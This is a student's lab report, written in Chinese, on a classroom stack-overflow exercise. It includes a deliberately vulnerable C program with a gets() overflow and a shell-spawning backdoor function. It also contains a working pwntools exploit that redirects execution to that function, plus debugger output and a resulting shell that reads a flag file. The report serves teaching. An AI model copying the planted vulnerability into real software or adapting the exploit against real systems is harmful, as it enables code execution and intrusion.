实验6 简单栈溢出实验报告

于新雨 计25 2022010841

victim 程序编写和编译

我们按照说明编写以下有栈溢出的程序

```c
// compile with gcc -m32 vuln.c -fno-stack-protector -no-pie -o vuln
#include <stdio.h>
void backdoor(){
    printf("Backdoor activated!\n");
    system("/bin/sh");
}
void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}
int main(){
    init();
    char input[0x20];
    // give it a stack addrerss
    printf("stack addr at: %p\n", &input);
    printf("Enter your input: ");
    gets(input);
    printf("You entered: %s\n", input);

    return 0;
}
```

对于 input 栈上变量，我们给了一个 gets 来进行栈溢出
此外还有一个需要注意的点，在一开始要 `setvbuf` 来关闭 stdin/stdout 的缓冲，否则后续写脚本连接的时候，可能无法正确读取到 `stack addr at` 的输出

对于编译选项，我们使用了 `-m32` 来编译成 32 位程序，`-fno-stack-protector` 来关闭栈保护，`-no-pie` 来关闭位置无关执行文件（PIE）

checksec 命令输出如下

```
❯ checksec vuln
[*] '/mnt/d/coderyxy4/cybersecurity_experiments/stack_overflow_test/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
```

反编译

用 IDA Pro 8.3 对该程序反编译，首先看到 backdoor 地址是 0x80491b6，然后根据 main 函数的汇编来确定攻击的 payload
首先看到返回地址在我们输入 buffer + 0x2c 的位置，然后还有一个小问题：它从 main 函数返回时的指令是

```
.text:080492C3                lea     esp, [ebp-8]
.text:080492C6                pop     ecx
.text:080492C7                pop     ebx
.text:080492C8                pop     ebp
.text:080492C9                lea     esp, [ecx-4]
.text:080492CC                retn
```

可见我们的 esp 被赋值成了 (ecx - 4)，而 ecx 的值是从栈上 pop 出来的，所以我们需要把 ecx 给赋值为返回地址 + 4 的位置才可
而这需要我们已知栈地址，我们在 victim 源代码中增加一步，输出读入的地址，计算得到返回地址 + 4 的位置，输入在栈上
（如果没有该步，则需要我们 leak 栈地址或者爆破栈地址，由于栈地址只有低 4 bit 是固定的（参考这篇博客），高 8 bit 基本固定，所以需要爆破 2^20 的数量级）
(如果没有该步，我们 leak 的话就先 ROP 调用 printf 函数 leak 出 libc 基地址，然后返回 main 函数，再 ROP 一轮 leak 出来 environ 地址，它和栈地址的偏移是固定的，有栈地址之后再按上述方法返回 backdoor)

编写攻击程序

用 pwntools 编写以下程序用于攻击

```
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process("./vuln")
backdoor_addr = 0x080491b6
p.recvuntil("stack addr at: ")
stack_addr = int(p.recvline().strip(), 16)
log.info("stack addr: " + hex(stack_addr))
rcx_addr = stack_addr + 0x30
# gdb.attach(p)
# pause()
p.recvuntil("Enter your input: ")
p.sendline(b"a"*0x20 + p32(rcx_addr) + p64(0) + p32(backdoor_addr))
p.interactive()
```

其中，可以用 `gdb.attach(p)` 来附加 gdb 调试，方便调试时查看栈地址等信息
界面如下

```
pwndbg> c
Continuing.

Breakpoint 1, 0x080492be in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──[ REGISTERS / show-flags off / show-compact-regs off ]──
*EAX  0x32
*EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf08 (_DYNAMIC) ◂— 1
*ECX  0x32
*EDX  0
*EDI  0xf7f5eb80 (_rtld_global_ro) ◂— 0
*ESI  0xffff75fb4 —▸ 0xffff77f72 ◂— './vuln'
*EBP  0xffff75ee8 ◂— 0
*ESP  0xffff75ec0 ◂— 0x61616161 ('aaaa')
*EIP  0x80492be (main+111) ◂— mov eax, 0
──────────[ DISASM / i386 / set emulate on ]──────────
 ► 0x80492be <main+111>      mov    eax, 0              EAX => 0
   0x80492c3 <main+116>      lea    esp, [ebp - 8]      ESP => 0xffff75ee0 —▸ 0xffff75ef0
—▸ 0xffff77f00 ◂— ...
   0x80492c6 <main+119>      pop    ecx                 ECX => 0xffff75ef0
   0x80492c7 <main+120>      pop    ebx                 EBX => 0
   0x80492c8 <main+121>      pop    ebp                 EBP => 0
   0x80492c9 <main+122>      lea    esp, [ecx - 4]      ESP => 0xffff75eec —▸ 0x80491b6 (
backdoor) ◂— push ebp
   0x80492cc <main+125>      ret                                <backdoor>
    ↓
   0x80491b6 <backdoor>      push   ebp
   0x80491b7 <backdoor+1>    mov    ebp, esp            EBP => 0xffff75eec ◂— 0
   0x80491b9 <backdoor+3>    push   ebx
   0x80491ba <backdoor+4>    sub    esp, 4              ESP => 0xffff75ee4 (0xffff75ee8 -
0x4)
──────────────────────────[ STACK ]──────────────────────────
00:0000| esp 0xffff75ec0 ◂— 0x61616161 ('aaaa')
... ↓        7 skipped
──────────────────────[ BACKTRACE ]──────────────────────
 ► 0 0x80492be main+111
   1 0x80491b6 backdoor
──────────────────────────────────────────────────────────
pwndbg>
```

getshell 截图如下

```
[DEBUG] Received 0x14 bytes:
    b'Backdoor activated!\n'
Backdoor activated!
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x4 bytes:
    b'wsl\n'
wsl
$ cat /flag
[DEBUG] Sent 0xa bytes:
    b'cat /flag\n'
[DEBUG] Received 0x15 bytes:
    b'flag{this is a flag}\n'
flag{this is a flag}
$
```

可见调用了本来不应该调用的后门函数